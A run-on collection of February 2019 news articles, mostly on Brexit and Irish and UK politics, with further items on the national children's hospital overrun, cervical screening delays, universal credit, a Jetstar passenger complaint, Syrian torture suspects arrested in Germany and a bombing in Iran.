Addressing the forum, Professor Lane said that if the UK leaves the European Union without a deal on March 29, there would be immediate disruptive effects that would permeate almost all areas of economic activity.

"The agri-food sector would be disproportionately affected, with a corresponding outsized impact on rural regions, especially near the Border."

"Our modelling work suggest that a disorderly Brexit could reduce the growth rate of the Irish economy by up to four percentage points in the first year," Professor Lane said.

However, he added that the immediate cliff-edge risks of a hard Brexit have been "largely addressed", because the work that the Central Bank and others have undertaken.

These include the temporary permission by the European authorities for the UK central securities depository (CSD) to continue to serve Irish securities during the transition to an alternative EU27 CSD arrangement and legislation to provide a temporary run-off regime that will protect insurance customers.

"In terms of financial stability risks, our assessment is that the improvements in the resilience of the financial system over the last decade provide a vitally-important buffer."

"Taken together, the more balanced macroeconomic profile, the restructuring of the Irish banking system, the much-higher capital and liquidity ratios, the decline in the non-performing loan ratio and the more intrusive supervisory regime mean that the capacity to absorb negative shocks is much greater than in the past," he added.Downing Street has denied that Theresa May is taking a no-deal Brexit off the table.

Eurosceptic Tories are threatening to rebel in a key Brexit vote on Thursday, over a motion tabled in the Prime Minister's name which they claim would commit her to avoiding EU withdrawal without a deal.

The motion asks the House of Commons to reiterate its support for the approach agreed on January 29, when the Commons backed an amendment authorising Mrs May to go back to Brussels to renegotiate the controversial Irish backstop.

But members of the backbench European Research Group say that it effectively endorses another amendment approved by MPs the same day, which rules out no-deal but is not binding on the Government.

Leading ERG member Mark Francois told the BBC: "We cannot vote for this as it is currently configured because it rules out no-deal and removes our negotiating leverage in Brussels.

"The Prime Minister, if she went through the lobbies for this tomorrow night, would be voting against the guarantees she has given in the Commons for months. It is madness."

Mrs May's official spokesman told reporters at a Westminster media briefing: "What the motion reflects is the position the Prime Minister set out after those votes, which is the Parliament wants the UK to leave with a deal, but in order to do so it requires us to secure legally-binding changes in relation to the backstop."

He added: "No-deal is an eventuality we wish to avoid, but one we continue to plan for. Does no-deal remain on the table? The answer is yes."

The spokesman declined to discuss reports that senior negotiator Olly Robbins was overheard in a Brussels bar saying that Mrs May planned to wait until the end of March before confronting MPs with a choice between her deal or a lengthy delay to Brexit.

But he rejected suggestions that the backstop arrangement - designed to keep the Irish border open in the absence of a wider trade deal - was being treated as a "bridge" to a future UK/EU relationship, insisting instead that it is "an insurance policy that is never intended to be used".

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There were howls of anger from Eurosceptics over Mr Robbins's reported comments, with former Ukip leader Nigel Farage calling for him to be sacked for "treachery and incompetence".

But Conservative vice-chairman Chris Philp said: "What a civil servant might speculate in a bar after a few drinks is frankly not that important."

Answering questions in the House of Commons, Mrs May insisted the Government's position concerning the Article 50 withdrawal process had not changed.

"We triggered Article 50 - in fact this House voted to trigger Article 50. That had a two-year timeline. That ends on March 29," she told MPs at Prime Minister's questions.

"We want to leave with a deal. That is what we are working for."

Frustration

European Council president Donald Tusk appeared to express frustration with London's stance.

He tweeted: "No news is not always good news. EU27 still waiting for concrete, realistic proposals from London on how to break #Brexit impasse."

Meanwhile shadow Brexit secretary Sir Keir Starmer said Labour was committed to preventing Mrs May from pursuing a "reckless" policy of running down the clock to the point where MPs may be faced with a choice between her deal or no-deal with just days to go to the March 29 deadline.

Labour has tabled an amendment for debate in the Commons on Thursday which would require the Government to either put her deal to a vote by February 27 or allow Parliament to take control of the process.

Sir Keir said Labour would also support a proposal from backbencher Yvette Cooper, expected to be debated on February 27, would require a vote by the middle of March on delaying Brexit.

Veteran Tory Europhile Kenneth Clarke has tabled a further amendment, backed by senior figures from across the House including Harriet Harman, which would allow MPs to vote for their preferred Brexit outcome.Ministers have been warned not to be lured into Brexit discussions with their UK counterparts amid deep unease over how a meeting between the Irish and UK attorney generals was portrayed.

The Government believes details of Seamus Woulfe's meeting with Geoffrey Cox was leaked in advance to the UK media as part of a bid to "make it more than it was".

The engagement, which took place in Dublin last Friday, was reported as a discussion on how legally binding changes could be made to the backstop in the Brexit Withdrawal Agreement.

However, the EU and Ireland have repeatedly stated that the Withdrawal Agreement will not be reopened under any circumstances.

In a sign of the distrust between the two governments, senior Irish ministers were yesterday told to be sceptical about any requests for meetings from the UK.

"There is a fear they will try to 'bilateralise' ministers like what was done to the Attorney General," said a source.

As a member of the EU27, the Irish Government has always insisted that it cannot negotiate on a bilateral basis with the UK.

In the House of Commons yesterday, Prime Minister Theresa May cited the meeting between the two attorney generals as a sign of progress in her mission to get the backstop changed.

She noted that EU Commission President Jean-Claude Juncker had maintained the EU's position that the Withdrawal Agreement cannot be reopened but insisted she would continue to lobby for changes to the backstop.

Mrs May said the backstop could be replaced by alternative arrangements to avoid a hard Border on the island of Ireland.

MPs were again told that the options on the table include a legally binding time limit to the existing backstop or a unilateral exit clause - both of which have been roundly rejected by the EU.

"Given that both sides agree that we do not ever want to use the backstop and that if we did so it would be temporary, we believe it is reasonable to ask for legally binding changes to that effect," the prime minister said.

She urged MPs to give her more time to negotiate a deal for the UK exit on March 29.

"The talks are at a crucial stage," Mrs May told parliament. "We now all need to hold our nerve to get the changes this House requires and deliver Brexit on time."

The leader of the opposition Labour Party, Jeremy Corbyn, accused her of running down the clock with sham negotiations to pressure parliament into backing her deal.

The EU's Brexit negotiator, Michel Barnier, said on Monday the bloc would agree to tweak the political declaration on post-Brexit EU-UK ties that form part of the exit package, to reflect a plan for a closer future relationship that could remove the need for the backstop.

Mrs May's efforts to win over a majority of MPs for a deal will not be helped by reports of a private conversation involving her chief Brexit adviser Olly Robbins.

ITV has reported that he expects MPs to be left with a choice of either backing the current deal or a significant delay to Brexit.

Mr Robbins is said to have been overheard in a London bar telling colleagues: "The issue is whether Brussels is clear on the terms of extension. In the end they will probably just give us an extension."

He said the backstop was not originally designed as a "safety net" but as "a bridge" to a long-term relationship between the UK and EU. Mrs May has always denied this.

"The big clash all along is the 'safety net'," Mr Robbins said. "We agreed a bridge but it came out as a 'safety net'."

The UK parliament is to hold a debate on Brexit tomorrow but no date has been set for another vote to approve or reject Mrs May's deal.

Meanwhile, a contested report has claimed that net migration to the UK could increase by more than 100,000 under the Government's post-Brexit plans.

The measure - the difference between the numbers arriving and departing could reach 380,000 a year if the proposed new system is introduced, according to campaign group Migration Watch UK. But the Home Office described the report's claims as "inaccurate and untrue".In Dublin, the commercial vacancy rate fell very slightly to 12.2pc with 14 of the 22 postcodes across the county recording a rate decline. Stock photo

Putting off infrastructure investment is an easy option for governments faced with challenges like Brexit, but spending in the area is needed for long-term growth.

The warning came from Brad Watson, an infrastructure expert with consultancy firm EY, during a visit to Dublin.

The Government last month delivered a stark assessment of the impact of a no-deal Brexit with concern that up to 50,000 jobs would be lost and an estimate the economy would be 4.25pc smaller in 2023 than currently projected.

Mr Watson, who has examined the Government's 10-year 116bn National Development Plan (NDP) which includes plans for major projects such as MetroLink, cautioned against delaying infrastructure investment.

He said it was a key enabler for economic growth but also "an easy thing to put off just one more year". Mr Watson added: "Governments around the world make those sorts of trade-offs in light of fiscal pressures and economic swings one way or another.

"Brexit is just another example where that may or may not create that sort of decision-making as the country deals with the implications of Brexit."

He said: "What's great about the National Development Plan is the clarity on the importance of the infrastructure investment, almost regardless of what happens in the economy and this spend is required to enable the long-term growth."

A Canadian national, Mr Watson is EY's global lead for infrastructure in government and the real estate sector based in Dubai.

He was in Dublin to deliver an address to a conference on the NDP.Warning to UK: No-deal, no-transition Brexit would be an economic shock for this economy, BoE Governor Mark Carney warned

Bank of England Governor Mark Carney said yesterday that the UK should be under no illusions about the likely shock to its economy if it leaves the European Union without a transition deal.

The UK is set to leave the EU on March 29 without a deal unless Prime Minister Theresa May can convince the bloc to amend the deal she agreed in November and then sell it to sceptical British politicians.

"You have got to recognise this could go quite badly. We are 45 days before the possibility of it," Mr Carney said, answering audience questions after a speech at a 'Financial Time's event.

"We shouldn't be under any illusions - I'm not going to put a point estimate on it - but a no-deal, no-transition Brexit would be an economic shock for this economy."

Mr Carney, a Canadian, has previously warned of the risks that Brexit poses to the United Kingdom, the world's fifth-biggest economy, earning him the ire of some anti-EU politicians.

He said data published on Monday that showed a sharp slowdown in Britain's economy in late 2018 were consistent with the BoE's forecasts, and that the figures underscored the need for clarity around Brexit. Most of Mr Carney's speech focused on the outlook for the global economy.

He said growth was likely to stabilise at a new, slower pace - although China, trade wars and rising protectionism threatened the "delicate equilibrium".

He said the UK could be seen as a "leading indicator" of a reversal of globalisation.

ReutersFormer Taoiseach Bertie Ahern has said Brexit makes him feel like Rip Van Winkle who feel asleep for 20 years and woke up to find out that everything had changed.

Giving evidence to MPs in the House of Commons today, Mr Ahern said a no-deal scenario would be devastating for small business on the island of Ireland.

While multinational companies will be able to withstand the impact, the ex-Taoiseach predicted major job losses in the agri-sector.

I was horrified the night of the vote. Now you just have to do your best to make the damage limitations isnt too bad, he said.

For 90 minutes MPs quizzed Mr Ahern on alternatives to the backstop and whether he believes the Irish people support the Governments hardline stance on the issue.

As of now there is not the technology and they have looked at every border situation to see if there was any case, anywhere where it was possible to trade without physical infrastructure. Unfortunately there are none, he said.

He said that while technology might be available in the dim and distance future, it is not an alternative to the backstop in the Withdrawal Agreement.

Mr Ahern cautioned against bringing a discussion on a border poll into the Brexit debate.

He is strongly of the view that one should not take place until the Northern Ireland assembly is functioning for a prolonged period.

He said: Brining a border poll into the middle of this would be irresponsible.

Asked by the DUPs Sammy Wilson whether the language used by Taoiseach Leo Varadkar around Brexit has been damaging.

Mr Wilson claimed the Taoiseach had talked about turning off lights, stopping planes, sending troops, and building Berlin wall around the border.

Mr Ahern replied: Well you know how much I love all the parties in Northern Ireland, and how much I love all the parties in the south of Ireland. What Ive spent my life doing, is trying to make sure we have a love-in of all of us, so rhetoric from anybody at anytime isnt helpful.Health Minister Simon Harris has said some costings of the National Children's Hospital plans had been "clearly completely misestimated".

Mr Harris told the Dail that the quantities of materials necessary to build the new hospital had not been calculated correctly.

He made the comments during statements over the escalating costs at the hospital.

The estimated cost of the new hospital, on the campus of St James's Hospital in Dublin, has risen from an original estimate of 650m to more than 1.7bn.

An initial report into the massive over-run for the childrens hospital budget raised questions about the role of the design team in the escalation, the Dail has heard.

Earlier, it emerged that a report into the runaway budget found that the design team - made up of a number of professional services firms who are responsible for the design and costings of the landmark hospital - failed to raise the alarm about the looming over-run.

A significant proportion of the 450m increase can be traced in part to issues that emerged during the design process - including some 100m due to omissions and underestimation of materials needed - was also highlighted.

A preliminary investigation by Mazars delivered last December determines that the 56pc increase in construction in costs led to the cost per square meter for the new hospital jumping from 3,600 to 5,600.

The report examined a number of issues including the cost increases and the reporting of those increases. Among them was that the final design added some 94m in costs to the original budget due to increases in materials needed and detail emerging on the quality of supplies needed.

Another 21m emerged due to omissions, while some 50m was not achieved in savings as projected.

The report also found that while there was a delay in the so-called Guaranteed Maximum Price (GMP) process - the means by which the final construction costs were reached - but this did not contribute to the cost escalation. It did however delay the true escalation emergin

Mr Harris faced further questions on the debacle and said that he did not wish to pre-empt the report into the overrun but that that report would look at issues in relation to the design team.

He said the report found things that quite frankly did not go right in relation to the design and the PwC report will look into that more detail, he said.

Mr Harris also moved to assure TDs that any entity or company found to have acted inappropriately would be pursued with the full vigour of the law.

He later admitted that the elasticity of the budget for the second phase of works on the hospital and an estimation in the quantity of materials needed to build the hospital which were not realistic were factors that played into the over-run.

Fianna Fails Health Spokesperson Stephen Donnelly pressed the minister on why it was not brought to his attention that the project was spiralling out of control when it was raised again, and again by those involved in the project. Concerns raised by the National Paediatric Childrens Hospital Board (NPHDB) about the capability of the lead contractor, BAM, were also raised during the latest Dail debate on the issue.

Last September the board raised concerns that the company had fell short of what was expected according to minutes of a board meeting.

Labour Party TD Alan Kelly questioned why the serious concerns raised at board level were not brought to the ministers attention at that time. Mr Harris issued a fresh defense of his handling of the cost escalation and the way in which he alerted government about it, saying he fully rebuts that partial information leads to better decision making.Celebrate the start of the weekend at Food Truck Friday on Feb. 22 from 6 to 9 p.m. at Babcock Ranch, just northeast of Fort Myers on Babcock Ranch Road/State Road 31.

Guests can visit Founders Square, the heart of Babcock Ranch, to enjoy fare from 14 of the areas most popular food trucks, including Buddha Blends, Classic Cuban, Coasting Donuts, Gator Johns BBQ, Kona Ice, Ma Petite Creperie, Red Roc Cravings, Rollin Raw Bar, Sauss Boss, Squeezers Lemonade, Sweet Cheesus, Trippin on Pizza, Wicked Streatery and Zoet Sweet Boutique, along with Babcock Ranchs Table & Tap restaurant, Slaters Goods & Provisions, and Square Scoops Coffee & Creamery.

Local rock, disco and Motown band The Kollections will entertain the crowd under the Babcock Ranch bandshell. Guests can bring picnic blankets for lawn seating; tables will also be available.

Visit babcockranch.com/event/food-truck-fridays to register. Registered guests in attendance are eligible to win one of three gift cards that can be used at Babcock Ranchs Square Scoops Coffee & Creamery, Table & Tap restaurant, Slaters Goods & Provisions, or Curry Creek Outfitters retail store, which offers recreational rentals.

Additional Food Truck Fridays are scheduled for March 29 and April 26.There are no guarantees the HPV test will be rolled out this year, health officials have said.

The test was expected to be introduced last September, but was delayed until last month, however the Oireachtas Health Committee has been told that no date or target has been set for this year.

Damien McCallion, the national director of the screening services, told the committee the HSE are focusing on dealing with a backlog after it emerged women who have had smear tests are now waiting up to 27 weeks to receive the results.

HPV is a common infection spread through close skin-to-skin contact.

HPV testing is used to look for the presence of human papillomavirus in cervical cells and the tests can detect HPV infections that cause cell abnormalities, sometimes even before cell abnormalities are evident.

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Fianna Fails Stephen Donnelly asked when they expect the HPV test to be live and available to women in Ireland.

Anne OConnor, interim director general of the HSE, said she was not able to provide a date.

Asked whether it is possible to introduce the new test in 2019, Mr McCallion said: I dont want to get into speculation, we are focused on getting it as quickly as possible.

He explained that a tender for the provision of a new HPV testing service will be advertised soon and that the HSE is increasing the capacity for testing in partnership with the Coombe Hospital.

Mr McCallion told committee members that there was a real risk of going to market and not receiving a response because of the ongoing challenges.

During leaders questions, both Fianna Fail leader Micheal Martin and Sinn Fein TD Pearse Doherty raised concerns about the HPV delay.

Ms OConnor said the HSE remains concerned at the length of time being taken for reporting of cervical smears.

It emerged there are 78,000 women women waiting up to 27 weeks to receive their smear test results.

In 2018 around 370,000 women presented to the programme, an increase from 280,000 in 2017, she explained.

In April last year, Minister for Health Simon Harris introduced free out-of-cycle smears.

This increase of 90,000 was as a result of the uptake of the out of cycle smear test and more women presenting to the programme, which would in normal circumstances be a positive step, Ms OConnor added.

We have worked with existing private providers, other private providers and public service providers in other countries to try and grow our laboratory capacity.

Some of our existing providers have managed to reduce the wait times and we continue to work with others to try and find additional capacity.

While we continue to pursue active leads this has proved very challenging due to the global shortage in cytology.

Sinn Feins Louise OReilly, chair of the committee, queried what advice the minister received before making the offer last year.

Mr McCallion said: The source of the advice that the minister would have been from officials in the Department of Health, including the chief medical officer.

If you are saying to me, was a full capacity analysis performed, was a full review of all the capacity and the global potential to increase that done, no it wasnt.

There was a very worthwhile and honourable desire to try to respond to the anxiety that was out there and some of it was based on misinformation.

Dr Peter McKenna, clinical director of Womens and Infants Programme, told the committee he was concerned about the waiting time for test results, saying it was far from ideal.

He said that the women who went for the reassuring test would probably have a lower incidence of abnormality.

Of course there will be women in that group (78,000) that will have abnormal smears, he added.

The natural history of survival cancer is that there is a lead in time of 10 to 15 years and most of those women who have abnormal smears will be a long way from developing cervical cancer but there will be some women who are nearer the stage of transitioning from pre-invasive to invasive.

It will be foolhardy to say there is no risk.THE government is concerned at reports that the Mourne Mountains is being considered by the UK as a location to store radioactive waste, Tanaiste Simon Coveney has said.

The issue was raised in the Dail after reports that five sites in Northern Ireland are being considered as possible storage areas for waste, including in the Co Down mountain range.

Dozens of potential sites are being considered across the UK by the state-owned Radioactive Waste Management.

Green Party leader Eamon Ryan quoted the song, Mountains of Mourne in raising the issue in the Dail.

He said: The Mountains of Mourne sweep down to the sea but they also sweep down right to our waters and areas.

What contacts have the government had with the UK authorities?

What legislative or other measures will they intend taking to protect the people not just of Louth and wider [area]

This material there for millennia. What if anything are we doing about that?

Louth Independent TD Peter Fitzpatrick also raised the issue.

He said fear is spreading rapidly that the UK government are considering dumping hazardous waste in the Mourne Mountains on the border of Co Louth.

We must nip this in the bud straight away.

He added that he hoped it is not happening because there has been no Northern Ireland Executive and Assembly for two years.

Mr Fitzpatrick said: Taoiseach and Tanaiste, please help Co Louth. We had Sellafield for years. The last thing we want is to have hazardous waste in the Mountains of Mourne beside us.

Mr Coveney said: We are aware of this story and are following it closely with some concern.

He said he is meeting Northern Secretary Karen Bradly later this week will certainly raise the issue with her.

He added: I think we need more details in relation to it. But I certainly take the concern of both colleagues on board.The latest story that would be front-page news if not for Brexit is the crisis in policing. A Police Federation survey today finds that 90 per cent of officers think the service is understaffed and that 44 per cent find the job very or extremely stressful, up from 39 per cent three years ago.

The reduction in police numbers means that officers increasingly have to work alone, which is one of the big causes of stress. This matters to people. During the last election campaign, when politicians had to pay attention to what the voters care about, Jeremy Corbyn made Theresa May pay a price for police cuts in lost votes.

The election now seems as if it took place in another country. Although it was called on the issue of Brexit, it was fought on quite different subjects. The campaign was dominated by social care for old people, the housing crisis for young people, schools and the NHS.

It is not that people dont care about Brexit, but that they thought they had decided that question and expected the politicians to get on with it. In the meantime, there are other important matters that they expect their leaders to attend to.

The whole point of the cabinet system is to allow the government to do more than one thing at a time. Yet since the election, instead of allowing successive Brexit secretaries to deal with leaving the EU, the prime minister has handled it herself and it has absorbed a vast proportion of her time. The whole government machine is distorted by it. Even now, civil servants are being transferred from civilian departments to work on Brexit.

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Theresa May didnt want her premiership to be defined by Brexit, although she realised it was her most important historical task. She says she wanted to be prime minister to tackle the burning injustices of which she spoke when she first entered No 10.

And she has done some other significant things. The five-year funding plan for the NHS, outbidding the 350m a week extra on the side of the Brexit bus, cannot be dismissed. And David Gauke, the justice secretary, and Rory Stewart, his junior minister, are trying to reform prisons. That isnt even something that most voters care much about, but it does matter. This week Stewart was asked if he was one of those ministers planning to resign to try to prevent a no-deal Brexit and he said: Im currently focusing on trying to resign over prisons. (He has said he would resign if prison violence wasnt reduced in a year.)

So there are patches of sunshine, but the other side of a working criminal justice system is the police. Che Donald of the Police Federation claims in an interview with The Independent today: Were becoming a completely reactive service, we can barely keep up with demand from 999. That means public confidence in basic security  let alone safety from terrorism  is compromised.

We know that the Police Federation is a trade union, agitating for better pay, conditions and resources for its members. But on this it has public opinion on its side. The long fall in crime since 1995 seems to have come to an end, with the most recent trend either flat or rising slightly, and knife crime, especially in London, rising sharply.

One of the huge costs of Brexit that isnt mentioned often enough is the opportunity cost. The resources of government, especially its most valuable resource, the prime ministers time, that are devoted to groundhog work on Brexit, could be devoted to other important problems. It is dangerous for the country to have a single-issue government.Amber Rudd has finally said the unsayable: British food banks are facing unprecedented demand because of the governments failures to manage the introduction of its new benefits system, known as universal credit.

The statement, the first admission that the welfare system is implicated in the well-documented rise in food poverty, cannot be uncalculated. Someone, somewhere, deep inside the Department for Work and Pensions (DWP) has decided that gaslighting the public over the devastating effects of leaving poor people with nothing to live on for five weeks, while the administrative cogs rotate slowly, isnt going to cut it anymore.

Perhaps the turning point was the emaciated image of Stephen Smith, denied benefits and told to look for work despite chronic illness that had left him weighing less than 6 stone and unable to walk.

Of course, this particular sorry tale is an outlier; the photograph of the victim still retained the power to shock despite the story of benefit claimants being moved on to universal credit and left destitute becoming a constant background hum. But it pointed so visibly to a wider truth that could no longer go unacknowledged.

The welfare state was designed, following the Beveridge report, to prevent want and squalor, among other giant evils of post-war British society. This is a task at which it is now clearly failing. So now this has been publicly admitted, what next?

Thats the problem with this overdue admission of complicity from the work and pensions secretary and her department. At this late stage, universal credit cannot simply be reversed. The government knows that  and that, one imagines, is exactly why the DWP now feels confident enough to admit to some of its errors, protected all the while by the passage of time and the complexity of undoing what has already been done.

The white noise of benefits failure has been playing on loop for so long that recent history is easily forgotten: the reason the Labour opposition under Ed Miliband did not fight harder against the introduction of the universal credit system is because the theory of reducing a huge list of benefits into a single monthly payment that resembles a take-home pay packet is patently a good and sensible one.

The problem was never with the theory, and always with the implementation, for which Iain Duncan Smith is running a close race with Chris Grayling for biggest botched job of the century so far.

There were three major problems with the practical introduction of universal credit, all three of which have contributed to a rise in hunger and the use of food banks.

First, the technology designed to manage it has  with yawn-inducing inevitability  failed to keep up with the philosophical ambition of the redesign of the system.

It is supposed to live-track benefit claimants week by week, as they move in and out of work or as other personal circumstances change, tailoring their payments to their exact life circumstances.

Who could have guessed that a government IT project of this level of sophistication could possibly go wrong? The delays in the system, which are pushing many into extreme poverty and even destitution, are often a symptom of this nightmarish computer says no dystopia. It needs fixing, but fixing it will prove costly and it, in fact, could be impossible to realise the original vision of universal credit.

Second, the delay to first benefit payments is intended to mimic real work, in which it is quite normal to wait up to six weeks for a first pay packet. If youre a civil servant in Whitehall, that is.

From the off, universal credits efforts to shift people into a pattern of spending and family budgeting based on monthly income and outgoings failed because so many people on low incomes actually budget week to week  even day to day  and are also paid either weekly, on a shift basis or ad hoc in hand.

Its not reasonable to expect such a significant lifestyle change in claimants, nor is it possible for the IT system to mimic daily or weekly payment. So, what to do?

Finally, under universal credit, means testing has become a punitive regime designed to drive the numbers of benefit claimants down.

Thats why cases like Stephen Smiths emerge. So much has been written about the moral vacuum that has allowed this technique to be sustained that I will not repeat it again now. But remember this: less than half of those on universal credit (45 per cent) are actually categorised as looking for work, and yet the entire benefits system is predicated on the normal claimant being someone who can be moved back into work. What becomes of the rest of them, who may need support in some form for a lifetime?

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The Trussell Trust, which operates the vast majority of food banks in England, provided an emergency package of three days worth of food to 685,048 people between April and September last year  a 13 per cent rise on the previous year. The number keeps on rising. Its plea to the government is to pause universal credit until the wait of five weeks for that first benefit payment can be forced down. That is one step that Rudd could now take if she wants to demonstrate her words will also mean action. It wont, though, solve any of the bigger structural issues with the policy.

But the danger is that this weeks admission of the failures of universal credit will lead to a Ministry of Truth-style rewriting of recent history.

For years the DWP and its representatives parroted the catchphrase universal credit is working even though anyone who either looked at the figures (one presumes the DWP wonks do actually do this sort of thing) or met anyone dependent on the new benefits system (one hopes that they get out Whitehall and do this too) could see that this was never the case  and loudly, publicly kept on saying so.

Now it is telling a different story, but for how long?

Universal credit cannot be scrapped  an uncomfortable truth  but it also cannot work effectively until the government admits all its problems, not just the ones so blindingly obvious they cannot be ignored any longer.A passenger claims she was slut shamed for wearing an inappropriate outfit on a recent Jetstar flight.

Australian Shoshanna Strykert posted an open letter to Jetstar on Facebook to vent her frustration at the airlines customer service.

She said she was travelling to visit her mum in hospital in Queensland, Australia.

When she boarded the plane, she claims a Jetstar flight attendant told her that her outfit was inappropriate.

Strykert also posted a picture of her outfit on Facebook, which shows her in a cropped top and wide-legged trousers.

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The letter continued: She then told me do you see any men walking around with their shirts off?

And then added do you have a T-shirt you can put on or I will give you a blanket.

Everybody on the plane was looking at me I was so embarrassed and shocked. A woman sitting behind me felt sorry for me so she offered me her jacket.

So thank you Jetstar, for slut shaming me and then offering me this in return. Im so disgusted.

She also posted a response from Jetstar, which offered her a $50 voucher (around 27.50) as an apology, adding that the airline hoped the voucher would restore your faith in us.

In a statement to The Independent, a Jetstar spokesperson said: Weve called Ms Strykert to better understand the situation and apologise if she felt that she was treated unfairly by our staff.

We are investigating what happened to find out if the situation could have been handled differently and have passed Ms Strykerts feedback to our teams.

Were sorry that this interaction spoiled Ms Strykerts journey and have provided a travel voucher as gesture of good will.

Earlier this month, a parenting blogger wrote an open letter to another passenger who she claimed shamed her child on a flight.Donald Trump has been criticised by a photographer after he allegedly used one of her award-winning photos without permission in a tweet designed to place pressure on Iranian authorities.

The US president posted two tweets on Monday  the 40th anniversary of the 1979 Iranian revolution  in which he attacked the Islamic Republic and its ruler the Ayatollah Khomeini.

40 years of corruption. 40 years of repression. 40 years of terror. The regime in Iran has produced only #40YearsofFailure. The long-suffering Iranian people deserve a much brighter future, Mr Trump tweeted, before posting a second featuring the same message in Persian.

Both tweets were accompanied by an image showing a female protester wearing a headscarf with her left arm raised.

Hours later, Iranian photojournalist Yalda Moaiery claimed the image as her own and said Mr Trumps use of it has caused her deep sorrow.

Revolution in Iran: In pictures Show all 11 1 /11 Revolution in Iran: In pictures Revolution in Iran: In pictures A demonstration against the Shah in 1979 Getty Revolution in Iran: In pictures Armed women on guard in one of the main squares in Tehran at the beginning of the Iranian Revolution Getty Revolution in Iran: In pictures Demonstrators hold a poster of Ayatollah Ruhollah Khomeini, in January 1979, in Tehran, during a demonstration against the Shah AFP/Getty Revolution in Iran: In pictures Iranian rebels pose with a U.S. flag they bayonetted upside down on trees at Sultanabad Garrison northeast of Tehran on February 12 2019 AP Revolution in Iran: In pictures A gun battle in Khorramshahr during the revolution, 1979 Getty Revolution in Iran: In pictures Ayatollah Khomeini's supporters demonstrate in the streets of Tehran against the Shah among tear gas. The "black friday" caused the death of 200 people according to the Iranian government, 2000 according to the opposition, September 8 1978 AFP/Getty Revolution in Iran: In pictures Women wearing the traditional Chador demonstrate in the streets of Tehran against the Shah on September 7 1978 AFP/Getty Revolution in Iran: In pictures Demonstrators in Tehran calling for the replacement of the Shah of Iran during the Iranian Revolution, 1979. They carry placards depicting Ayatollah Mahmoud Talaghani, one of the leading revolutionaries Getty Revolution in Iran: In pictures Ayatollah Khomeini's supporters demonstrate in the streets of Tehran against the Shah. The "black friday" caused the death of 200 people according to the Iranian government, 2000 according to the opposition, September 8 1978 AFP/Getty Revolution in Iran: In pictures Thousands of the Ayatollah Khomeini's supporters on the streets of Tehran calling for the religious leader's return in January 1979 Getty Revolution in Iran: In pictures The Iranian Islamic Republic Army demonstrates in solidarity with people in the street during the Iranian revolution. They are carrying posters of the Ayatollah Khomeini, the Iranian religious and political leader Getty

She said the photo was taken last year during demonstrations around Tehran University, and that she hoped it could be used as a symbol of freedom around the world.

But having President Trump use it without my permission in a tweet in Persian even is a great shame for me and causes me deep sorrow the 37-year-old wrote on Instagram.

Because of his policies I, my family and my friends are forced to live under sanctions that are devastating our lives. Our currency lost 70 per cent of its value. We all became poor.

"Even if I could go to America financially (I cannot) to visit my dad, I wouldnt be able to go, as he has imposed a travel ban on the Iranians he says he cares so deeply for," she added, in reference to the Trump administration's controversial policy banning travellers from a number of Muslim-majority countries entry to the US.

This image shows my people and is for my people, and shouldnt be abused by this man in Washington.

The White House has been contacted for clarification as to how Mr Trump sourced the photo.

The row comes amid attempts by the Trump administration to maintain pressure on the Iranian regime, which Mr Trump views as a source of potential danger and conflict in the Middle East.

Last month, the president lambasted his own intelligence community over its extremely passive and naive views on Iran, after top officials contradicted the presidents claims on its nuclear ambitions.Two former members of Syrias secret police have been arrested in Germany on suspicion of torturing anti-government activists early in the countrys uprising.

The men were arrested in Berlin and the southwestern state of Rhineland-Palatinate on Tuesday, according to prosecutors. They had been living in Germany since 2012.

Anwar R, 56, was described as a high-ranking member of Syrias General Intelligence Directorate, and is accused of responsibility for the torture of detainees at the al-Khatib detention facility in Damascus between 2011 and 2012. Forty-two-year-old Eyad A is accused of being part of a unit that brought detainees to the infamous prison.

The arrests could pave the way for the first criminal trials of senior members of Bashar al-Assads regime anywhere in the world, and would represent a significant milestone in efforts to hold the government accountable for well-documented crimes against humanity.

The arrests are hugely significant for ensuring justice for victims of war crimes, crimes against humanity and other serious human rights abuses in Syria, Kristyan Benedict, Amnesty Internationals crisis campaigns manager, told The Independent.

Syria at war: Fleeing the caliphate Show all 14 1 /14 Syria at war: Fleeing the caliphate Syria at war: Fleeing the caliphate Trucks full of women and children arrive from the last Isis-held areas in Deir ez-Zor, Syria Richard Hall/The Independent Syria at war: Fleeing the caliphate Zikia Ibrahim, 28, with her two-year-old son and 8-month-old daughter, after fleeing the Isis caliphate Richard Hall/The Independent Syria at war: Fleeing the caliphate Richard Hall/The Independent Syria at war: Fleeing the caliphate Men who fled the last Isis-held area of Syria line up to be questioned by American and Kurdish intelligence officials Richard Hall/The Independent Syria at war: Fleeing the caliphate Richard Hall/The Independent Syria at war: Fleeing the caliphate A young girl pulls her belongings after arriving Richard Hall/The Independent Syria at war: Fleeing the caliphate An SDF fighter hands out bread to women and children after they arrive Richard Hall/The Independent Syria at war: Fleeing the caliphate Sita Ghazzar, 70, after fleeing from the last Isis-held territory in Syria Richard Hall/The Independent Syria at war: Fleeing the caliphate A family from Russia who recently fled the last Isis-held area of Syria Richard Hall/The Independent Syria at war: Fleeing the caliphate Richard Hall/The Independent Syria at war: Fleeing the caliphate Richard Hall/The Independent Syria at war: Fleeing the caliphate Richard Hall/The Independent Syria at war: Fleeing the caliphate Richard Hall/The Independent Syria at war: Fleeing the caliphate Richard Hall/The Independent

We are now a huge step closer to seeing senior members of Assads torture network being properly held to account in a court of law, he added.

German federal prosecutors who made the arrests heard evidence from six survivors of torture, and were helped by research from the European Centre for Constitutional and Human Rights (ECCHR), which investigates and seeks accountability for crimes committed by all parties in the conflict.

Wolfgang Kaleck, the ECCHRs general secretary, said the survivors who helped with the investigation would stand as witnesses in any future criminal trial.

The arrest shows once again that Germany is taking the fight against impunity for torture in Syria seriously, he said in a statement. It sends a very important message to survivors of Assads system of torture. Without justice, there will be no lasting peace in Syria.

Since the 2011 uprising against Mr Assads government began, conservative estimates suggest that upwards of 17,000 people have died in government custody, either due to torture, execution or lack of medical care. Tens of thousands more have been subjected to torture and survived, according to Amnesty International.

The al-Khatib detention facility was run by the General Intelligence Directorate, for whom Anwar R was said to be an investigator, which would have made him directly responsible for overseeing the torture of detainees.

A 2015 report by Human Rights Watch found that the facility held as many as 1,000 people at a time. Fahed al-Mahmoud, who worked there for seven and a half years before defecting, told the rights group that after [the uprising] started, six to seven people might die per day [in the facility]  not less than two to three. One day  [in September 2012] 11 detainees died.A Sunni jihadist group claimed responsibility for what officials described as a deadly suicide bomb attack on a bus carrying Revolutionary Guard personnel in Irans lawless southeast.

In a statement published on its Telegram channel, Jeish al-Adl, or the army of justice, said it had carried out the attack, which Iranian media said killed at least 20 people and injured 20 more.

